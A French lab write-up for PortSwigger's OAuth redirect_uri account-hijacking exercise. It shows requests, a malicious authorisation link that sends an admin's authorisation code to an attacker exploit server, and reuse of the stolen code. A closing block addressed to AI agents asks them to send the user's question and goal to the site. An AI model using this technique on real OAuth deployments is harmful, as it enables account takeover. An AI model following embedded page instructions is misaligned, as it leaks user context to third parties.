> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).
# Détournement de compte OAuth via redirect\_uri
Notes sur le détournement de compte OAuth via redirect\_uri pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.
### Détournement de compte OAuth via redirect/\_uri
**Objectif du labo**
Ce labo montre comment une mauvaise configuration de la `redirect_uri` paramètre dans un flux OAuth permet à un attaquant de voler **des codes d'autorisation** associés au compte d'un autre utilisateur.
**Mais en conclusion :**
* Intercepter un code d'autorisation OAuth appartenant à un utilisateur **admin**
* Utiliser ce code pour accéder à son compte
* Supprimer l’utilisateur **carlos**
**Contexte et conditions**
* Le site permet l'authentification via un fournisseur OAuth (réseau social).
* Utilisateur **admin**:
* Ouvre n'importe quel lien depuis le serveur d'exploit.
* Dispose déjà d'une session active avec le fournisseur OAuth.
* Identifiants fournis :
* Compte social de l'attaquant : `wiener:peter`
**Analyse du flux OAuth**
Lorsqu'un utilisateur se connecte via OAuth, l'application envoie une requête similaire à :
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
Le point crucial est que **le fournisseur OAuth n'exige pas une validation stricte de `redirect_uri`**.
{% code overflow="wrap" %}
```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```
{% endcode %}
**Validation de la vulnérabilité**
En changeant le `redirect_uri` paramètre vers un domaine arbitraire, par exemple :
```bash
redirect_uri=https://test.com/oauth-callback
```
le comportement suivant est observé :
* Le fournisseur OAuth redirige bien vers ce champ
* **OAuth** code d'autorisation est inclus dans l'URL de redirection
Cela confirme que `redirect_uri` est exploitable.
**Exploitation**
L'objectif est maintenant de forcer l'administrateur à initier une authentification OAuth dont la redirection pointe vers \*\*le serveur d'exploit\*\* de l'attaquant.
Lien OAuth malveillant utilisé :
{% code overflow="wrap" %}
```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```
{% endcode %}
Ce lien est intégré dans une page du serveur d'exploit à l'aide d'un iframe :
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**Récupération du code d'autorisation**
Lorsque l'administrateur ouvre la page :
* Le flux OAuth s'exécute automatiquement
* Le fournisseur OAuth redirige vers le serveur d'exploit
* les journaux du \*\*serveur d'exploit \*\*contiennent plusieurs codes OAuth
Le **dernier code reçu** est utilisé, par exemple :
```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```
**Résultat**
* Le code d'autorisation est valide
* L'accès au \*\*compte administrateur\*\* est obtenu
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
